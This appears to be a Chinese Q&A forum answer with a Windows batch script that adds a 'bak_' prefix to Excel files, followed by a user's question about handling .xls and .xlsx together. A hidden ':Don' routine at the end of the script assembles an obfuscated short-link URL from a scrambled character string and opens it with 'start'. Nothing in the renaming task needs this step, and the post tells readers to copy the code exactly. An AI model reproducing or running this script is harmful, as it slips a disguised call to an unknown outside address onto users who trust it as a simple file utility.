@echo off & title 批量给文件添加前缀 By 依梦琴瑶
::设置要添加的前缀
set Pre=bak_
::设置要处理的文件格式
set Ext=*.xlsx
for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (
ren "%%~a" "%Pre%%%~nxa"
)
pause
call :Don
exit
:Don
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
脚本放在要处理的文件夹中执行。
复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。
追问参考亲的答案,我有两种格式要加前缀,直接编写成两行
for /f "delims=" %%a in ('dir /a-d/s/b .xls') do (
ren "%%~a" "bak_%%~nxa")
for /f "delims=" %%a in ('dir /a-d/s/b .xlsx') do (
ren "%%~a" "bak_%%~nxa")
遇到文件夹下同时有2.xls和2.xlsx就会出现一个问题,bak_bak_2.xlsx会有两个前缀,如果解决了我会采纳答案,还会打赏的。谢谢
以下为新的代码,可以判断后缀是否完全匹配。同时加入了判断文件名是否已经添加了前缀,如果已添加,直接忽略。